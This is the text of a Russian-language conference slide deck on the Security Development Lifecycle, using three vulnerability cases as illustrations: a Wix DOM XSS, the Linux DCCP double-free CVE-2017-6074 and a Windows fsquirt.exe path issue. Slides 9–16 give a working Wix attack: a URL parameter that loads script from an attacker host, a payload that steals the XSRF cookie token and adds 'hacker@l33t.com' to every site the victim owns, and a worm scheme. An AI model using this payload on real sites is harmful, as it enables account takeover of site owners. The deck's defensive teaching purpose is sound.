Анализ защищенности ПО и инфраструктур – подходы и результаты
Анализ защищенности ПО и инфраструктур – подходы и результатыАнализ защищенности ПО и инфраструктур – подходы и результаты
Анализ защищенности ПО и инфраструктур – подходы и результаты
 

Жизнь без SDL

  • 1. #SECONRU Жизнь без SDL Перспективный мониторинг Васин Вячеслав Cистемный аналитик ЗАО «Перспективный мониторинг» 21-22 АПРЕЛЯ | ПЕНЗА
  • 2. 2 Практики SDL Коротко о 7-ми фазах SDL. Понятие SDL Что такое и зачем. Начало План доклада Перспективный мониторинг
  • 3. 3 Уязвимость из 2017 CVE-2017-6074. Linux kernel bug. Разбор уязвимости 11-летней давности. Уязвимость из 2016 Заражаем миллионы сайтов в пару кликов. Разбор DOM XSS на примере. День из жизни «ПМ» Используем «fsquirt.exe» в ОС Windows 7/8/8.1. Рассказ об одном случае из жизни компании. и немного материалов для изучения Финал Перспективный мониторинг
  • 5. 5 Что такое SDL? Перспективный мониторинг Жизненный цикл обеспечения безопасности при разработке (Security Development Lifecycle, SDL) — это процесс обеспечения безопасности в сфере разработки программного обеспечения. Сочетая в себе как глобальный, так и практический подход, процесс SDL призван уменьшить число уязвимостей в программном обеспечении и уровень их серьезности.
  • 6. 6 Общие сведения о действиях по обеспечению безопасности в рамках SDL Обучение Требования Проект Реализация Проверка Релиз Реакция Обучение основам безопасности. Требования безопасности. Критерии качества. Оценка рисков. Требования к проекту. Анализ поверхности атаки. Модель угроз. Использование одобренных инструментов. Отказ от небезопасных функций. Статический анализ. Динамический анализ. Фаззинг. Проверка поверхности атаки. План реагирования на инциденты. Финальная проверка безопасности. Релиз в архив. Выполнение плана реагирования на инциденты. Перспективный мониторинг
  • 7. 7 Люди Технологии Процесс и др. Общая картина безопасности Перспективный мониторинг
  • 8. ЗАРАЖАЕМ МИЛЛИОНЫ САЙТОВ В ПАРУ КЛИКОВ или используем DOM XSS на деле Перспективный мониторинг
  • 9. 9 Предварительно разместить на хостинге YOURSITE.COM вредоносный файл: /PACKAGES-BIN/WIXCODEINIT/WIXCODEINIT.MIN.JS КЛИК №1 Добавить: ?REACTSOURCE=HTTP://YOURSITE.COM к URL для любого сайта на платформе WIX.COM КЛИК №2 Заражаем миллионы сайтов: Перспективный мониторинг
  • 10. 10 01 02 03 04 Step 01 Создается сайт с DOM XSS в <IFRAME> Step 02 Пользователь WIX посещает данный сайт Step 03 Зараженный сайт использует подобный запрос в editor.wix.com и внедряет DOM XSS в <IFRAME> на сайты пользователя Step 04 Все сайты пользователя теперь имеют зараженный контент. Возврат к Step 02 Превращаем атаку в червя Перспективный мониторинг
  • 11. 11 Как так вышло? Перспективный мониторинг var queryUtil = (function () { ... function getParameterFromQuery(query, name) { name = name.replace(/[[]/, '[').replace(/[]]/, ']'); var regex = new RegExp('[?&]' + name + '=([^&#]*)'); var results = regex.exec(query); return results && results[1] ? decodeURIComponent(results[1]).replace(/+/g, ' ') : ''; } ... return { getParameterByName: getParameterFromQuery.bind(null, window.location.search) ... }; }()); Step 01. Получение параметра из URL
  • 12. 12 Как так вышло? Перспективный мониторинг var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, { baseVersionOverride: queryUtil.getParameterByName('ReactSource'), artifactName: 'santa' },serviceTopology); ... requirejs.config(config); Step 02. Создание объекта baseVersionOverride для getFullRJsConfig
  • 13. 13 Как так вышло? Перспективный мониторинг function getFullRjsConfig(rjsConfigFunc, packagesUtil, artifactData, serviceTopology) { //Call with serviceTopology and all arguments after var config = rjsConfigFunc.apply(null, Array.prototype.slice.call(arguments, 3)); config = packagesUtil.buildConfig(config); ... var isAddress = RegExp.prototype.test.bind(/^https?:///); config.baseUrl = isAddress(artifactData.baseVersionOverride) ? artifactData.baseVersionOverride : joinURL(artifactPath, artifactData.baseVersionOverride); ... return config; } Step 03. Установка config.baseUrl
  • 14. 14 Как так вышло? Перспективный мониторинг var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, { baseVersionOverride: queryUtil.getParameterByName('ReactSource'), artifactName: 'santa' },serviceTopology); ... requirejs.config(config); Step 04. Вызов requires.config с новым config.baseUrl
  • 15. 15 Как так вышло? Перспективный мониторинг requirejs.config({ //By default load any module IDs from js/lib baseUrl: 'js/lib', //except, if the module ID starts with "app", ... ... }) Step 05. RequireJS загружает внешние ресурсы через config.baseUrl url = config.baseUrl + url; … var node = document.createElement('script'); … node.src = url; … head.appendChild(node); Псевдокод процесса загрузки:
  • 16. 16 Как так вышло? Перспективный мониторинг Поместите payload в файл /packages-bin/wixCodeInit/wixCodeInit.min.js вашего домена (yoursite.com) xsrf = document.cookie.match(/XSRF-TOKEN=(.*?);/)[1]; // get the csrf token $.getJSON('/_api/wix-dashboard-ng-webapp/metaSite', function(data){ // get all the current users sites data.payload.map(function(site){ $.ajax({ type: 'POST', url: '/_api/wix-dashboard-ng-webapp/authorization/site/'+site.metaSiteId+'/invite', data: JSON.stringify({email: "hacker@l33t.com", role: "contributor"}), headers: { "x-xsrf-token": xsrf}, contentType: "application/json;charset=UTF-8", success: function(data){ console.log(data) } }); }); }) Пример payload: Step 06. Размещение payload в файл для загрузки всеми страницами WIX
  • 17. 17 Изменение контента на сайте для целевых пользователей1 2 3 4 5 6 Варианты использования Угон пользовательских данных Wix, Facebook или Twitter Обман пользователей сайта для загрузки вредоносного по Доход от рекламы путем вставки рекламы на веб-страницах Spoof банковских веб-страниц Получение прав администратора атакуемого веб-сайта Перспективный мониторинг
  • 18. 18 • Используйте стандарты безопасного программирования; • Используйте автоматические инструменты обзора кода; • Осуществляйте независимый обзор кода третьей стороной или специалистами ИБ; Реализация • Используйте инструменты динамического анализа; • Закажите тестирование на проникновение. Проверка Перспективный мониторинг Используем SDL
  • 19. 19 1 2 3 4 6 5 Проверить «нейминг», форматирование и т.д. Проверить неэффективное использование ресурсов Проверить аспекты безопасности в коде Проверить аргументы всех методов, используемых на критичном участке Проверить места где юнит тесты не покрыли определенную область Проверить ссылки на null Перспективный мониторинг Code Review Checklist
  • 21. CVE-2017-6074. LINUX KERNEL BUG или почему ошибке 11 лет Перспективный мониторинг
  • 22. 22 Как так вышло? Перспективный мониторинг kfree(pointer) ... some_object = kmalloc() ... kfree(pointer) Псевдокод:
  • 23. 23 Как так вышло? Перспективный мониторинг kfree(pointer) ... some_object = kmalloc() ... kfree(pointer) Псевдокод: https://github.com/xairy/kernel- exploits/tree/master/CVE-2017-6074 Proof-of-concept:
  • 24. 24 1 2 3 4 РАСКРЫТИЕ ИНФОРМАЦИИ МОДИФИКАЦИЯ ИНФОРМАЦИИ НАРУШЕНИЕ ДОСТУПНОСТИ ВЫПОЛНЕНИЕ КОДА Оценка последствий Перспективный мониторинг Двойное освобождение памяти может привести к тому, что примитив “Write- what-where” позволит злоумышленнику выполнить произвольный код В памяти может оказаться указатель на все что угодно Использование ранее освобожденной памяти может повредить действительные данные, если область памяти была выделена и использована должным образом в другом месте Если консолидация чанков (chunk) происходит после использования ранее освобожденных данных, то может произойти сбой, если в качестве информации о фрагменте используется недопустимый чанк
  • 25. 25 • По возможности используйте язык, который обеспечивает автоматическое управление памятью Проектирование • Используйте правила по управлению памятью; • После освобождения памяти, установите указатель на эту память в NULL; • При ООП, убедитесь, что деструкторы объектов удаляют каждый участок памяти только один раз; • Используйте инструменты статического анализа. Реализация • Используйте инструменты динамического анализа; • Используйте инструменты фаззинга. Проверка Перспективный мониторинг Используем SDL
  • 26. 26 Как все исправить? Перспективный мониторинг Отключить DCCP: Загрузить патч: # echo "install dccp /bin/true" >> /etc/modprobe.d/disable-dccp.conf https://github.com/torvalds/linux/ commit/5edabca9d4cff7f1f2b68f0bac5 5ef99d9798ba4
  • 27. ОДИН ДЕНЬ ИЗ ЖИЗНИ «ПМ» или используем «fsquirt» в Windows своими руками Перспективный мониторинг
  • 30. 30 Определение требований ИБ Анализ/сокращение поверхности атаки Перспективный мониторинг Используем SDL Тестирование сторонних компонент
  • 31. 31 Как все исправить? Перспективный мониторинг Чтобы обезопасить себя от такой атаки стоит взять пустой исполняемый файл, который ничего не делает, и поместить его по пути «C:Windowssystem32fsquirt.exe». В таком случае будет запущено данное приложение, и не будет осуществляться поиск иных путей исполнения. В Windows 10 данный файл имеется.
  • 32. 32 Что читать? Перспективный мониторинг The Security Development Lifecycle OWASP Code Review Guide & OWASP Testing Guide Best Kept Secrets of Peer Code Review Блог компании «Перспективный мониторинг» на Хабрахабр
  • 33. Перспективный мониторинг Васин Вячеслав Cистемный аналитик ЗАО «Перспективный мониторинг» vyacheslav.vasin@amonitoring.ru dev.vasinofficial@gmail.com